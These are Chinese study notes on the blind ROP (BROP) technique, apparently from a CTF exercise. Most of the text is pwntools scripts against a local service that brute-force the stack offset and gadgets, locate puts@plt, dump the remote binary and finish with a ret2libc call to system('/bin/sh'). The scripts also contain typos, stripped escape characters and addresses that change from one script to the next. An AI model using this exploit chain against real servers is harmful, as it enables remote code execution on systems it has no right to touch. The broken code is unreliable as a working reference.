PWN-BROP笔记
- 2020 年 3 月 6 日
- 筆記
BROP
BROP是在没有给出题目文件的情况下,只能通过尝试来确定栈的大小,以及其他函数啥的地址
攻击条件
程序必须存在溢出漏洞,以便攻击者可以控制程序流程
进程崩溃以后可以重启,而且重启之后的地址与先前的地址一样
基本思路
再找到足够多的 gadget 来控制输出函数的参数并进行调用,利用输出函数来dump出程序来找到更多的gadget
栈溢出
从 1 开始暴力枚举,直到程序崩溃
Stack Reading
通过按照字节爆破比枚举数值更快 每个字节最多有256种可能,所以在32位的情况下,我们最多需要爆破1024次,64位最多爆破2048次
找到canary的值
Blind ROP
调用write函数最方便的方法是系统调用号,然后syscall,然而syscall几乎不可能
所以可以使用libc_csu_init结尾的一段gadgets来实现,同时可以使用 plt 来获取write地址,在write的参数里面,rdx是用来限制输出长度的,一般不会为0,但是保险起见,可以同时设置一下,但是几乎没有 pop rdx 这样的指令
可以通过 strcmp 来实现,在执行 strcmp 的时候,rdx会被设置为字符串的长度,所以只要找到 strcmp 就可以实现控制rdx
接下来要做的就是:
1、找gadgets
2、找 plt 表,比如 write、strcmp
找gadget
为了能够找到 gadget,可以分为两步:
1、stop gadget,当执行这一段代码时,程序陷入无限循环,使攻击者一直保持连接状态,其根本目的在于告诉攻击者,其所测试的地址是一段gadget
2、识别gadget,这里为了方便介绍,定义栈上的三种地址:
- Probe
探针,也就是我们想要探测的代码地址。一般来说,都是64位程序,可以直接从0x400000尝试,如果不成功,有可能程序开启了PIE保护,再不济,就可能是程序是32位了。。这里我还没有特别想明白,怎么可以快速确定远程的位数。
- Stop
不会使得程序崩溃的stop gadget的地址。
- Trap
可以导致程序崩溃的地址,直接写 p64(0) 就可以
通过不同顺序构造一串 payload 就可以达到找到识别正在执行的指令的效果
比如:probe + trap + stop + trap + trap… 可以找到一个 pop xxx;ret 这样的
probe + trap + trap + trap + trap + trap + trap + stop + trap + trap… 这样的就可以找到:
pop xxx; pop xxx; pop xxx; pop xxx; pop xxx; pop xxx; ret
ps. 在每个布局后面都放上 trap 是为了保证崩溃 probe 返回如果不是 stop 能够立即崩溃
当然,我们还是很难确定它弹的哪一个寄存器,但是,一下子连续弹 6 次的很大可能性就是 brop_gadgets
这里说的 brop_gadgets 就是之前 ret2csu 的那一部分 gadgets
同时找到的可能是一又个 stop_gadgets,可以把后面原本的 stop_gadgets 改一下,如果程序没崩溃那就是又找了一个 stop_gadgets
找某些 plt
找到了 brop_gadgets 以后,只需要根据功能,再去遍历地址,找到能够实现这个功能的地址就找到了这个函数的 plt
比如:
'A'*72 +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)
如果能过把 0x400000 的内容给输出来就可以找到 put@plt 了
from pwn import * i=1 while 1: try: p=remote("127.0.0.1",9999) p.recvuntil("WelCome my friend,Do you know password?n") p.send('a'*i) data=p.recv() p.close() if not data.startwith('No password'): return i-1 else: return i+1 execpt EOFEror: p.close() return i-1 size=getsize() print "size is [%s]"%size
用脚本跑出来是 72

再找一个能让程序不崩溃的地址(stop_gadgets):
from pwn import * def getStopGadgets(length): addr = 0x400000 while 1: try: sh = remote('127.0.0.1',9999) payload = 'a'*length +p64(addr) sh.recvuntil("password?n") sh.sendline(payload) output = sh.recvuntil("password?n") sh.close() print("one stop addr: 0x%x" % (addr)) if not output.startswith('WelCome'): sh.close() addr+=1 else: return addr except Exception: addr+=1 sh.close() stop_gadgets = getStopGadgets(72)
stop_gadget 找了好多个,因为我是自己实验,有二进制文件,就看了一下反汇编,找到的 stop_gadget 地址要么是一个函数或者 plt 的地址,要么是一个 ret 的地址
尝试以后,感觉有两个: main 或者 _start 的地址比较正常,下面跑出来的是 _start 的

再去找 BROP_gadgets
from pwn import * def get_brop_gadget(length, stop_gadget, addr): try: sh = remote('127.0.0.1', 9999) sh.recvuntil('password?n') payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10 sh.sendline(payload) content = sh.recv() sh.close() print content # stop gadget returns memory if not content.startswith('WelCome'): return False return True except Exception: sh.close() return False def check_brop_gadget(length, addr): try: sh = remote('127.0.0.1', 9999) sh.recvuntil('password?n') payload = 'a' * length + p64(addr) + 'a' * 8 * 10 sh.sendline(payload) content = sh.recv() sh.close() return False except Exception: sh.close() return True length = 72 stop_gadget = 0x4005c0 addr = 0x400000 while 1: print hex(addr) if get_brop_gadget(length, stop_gadget, addr): print 'possible brop gadget: 0x%x' % addr if check_brop_gadget(length, addr): print 'success brop gadget: 0x%x' % addr break addr += 1
拿到 brop_gadgets

根据之前的:我们可以发现,从找到的 brop_gadget 其中 pop r15;ret 对应的字节码为41 5f c3。后两字节码 5f c3 对应的汇编即为 pop rdi;ret

所以,pop rdi;ret 的地址就是 brop_gadget + 9
通过这个 gadget 把 put 的 plt 给打出来
from pwn import * ##length = getbufferflow_length() length = 72 ##get_stop_addr(length) stop_gadget = 0x4005c0 addr = 0x400740 def get_puts_addr(length, rdi_ret, stop_gadget): addr = 0x400000 while 1: print hex(addr) sh = remote('127.0.0.1', 9999) sh.recvuntil('password?n') payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget) sh.sendline(payload) try: content = sh.recv() if content.startswith('x7fELF'): print 'find puts@plt addr: 0x%x' % addr return addr sh.close() addr += 1 except Exception: sh.close() addr += 1 brop_gadget=0x4007ba rdi_ret=brop_gadget+9 get_puts_addr(72,rdi_ret,stop_gadget)

拿到了 put 的地址,就可以通过 很多次的 put 把想要的内容给 dump 出来
把程序 DUMP 下来:
from pwn import * def dump(length, rdi_ret, puts_plt, leak_addr, stop_gadget): sh = remote('127.0.0.1', 9999) payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadget) sh.recvuntil('password?n') sh.sendline(payload) try: data = sh.recv() sh.close() try: data = data[:data.index("nWelCome")] except Exception: data = data if data == "": data = 'x00' return data except Exception: sh.close() return None ##length = getbufferflow_length() length = 72 ##stop_gadget = get_stop_addr(length) stop_gadget = 0x4005c0 ##brop_gadget = find_brop_gadget(length,stop_gadget) brop_gadget = 0x4007ba rdi_ret = brop_gadget + 9 ##puts_plt = get_puts_plt(length, rdi_ret, stop_gadget) puts_plt = 0x400555 addr = 0x400000 result = "" while addr < 0x401000: print hex(addr) data = dump(length, rdi_ret, puts_plt, addr, stop_gadget) if data is None: continue else: result += data addr += len(data) with open('code', 'wb') as f: f.write(result)
把 dump 下来的文件用 IDA 的二进制模式打开

然后把基址改成 0x400000:
编辑 -> 段 -> 重新设置基址

设置为 0x400000

在 0x400555 处,摁下 c 识别成汇编格式,可以看到 jmp 的地址是:601018h

这样就得到了 put@got 地址,知道了这个地址,再用 libcsearch 去进行 ret2libc 就可以了
from pwn import * from LibcSearhcer import * ##length = getbufferflow_length() length = 72 ##stop_gadget = get_stop_addr(length) stop_gadget = 0x4006b6 ##brop_gadget = find_brop_gadget(length,stop_gadget) brop_gadget = 0x4007ba rdi_ret = brop_gadget + 9 ##puts_plt = get_puts_addr(length, rdi_ret, stop_gadget) puts_plt = 0x400560 ##leakfunction(length, rdi_ret, puts_plt, stop_gadget) puts_got = 0x601018 sh = remote('127.0.0.1', 9999) sh.recvuntil('password?n') payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget) sh.sendline(payload) data = sh.recvuntil('nWelCome', drop=True) puts_addr = u64(data.ljust(8, 'x00')) libc = LibcSearcher('puts', puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh') payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(stop_gadget) sh.sendline(payload) sh.interactive()
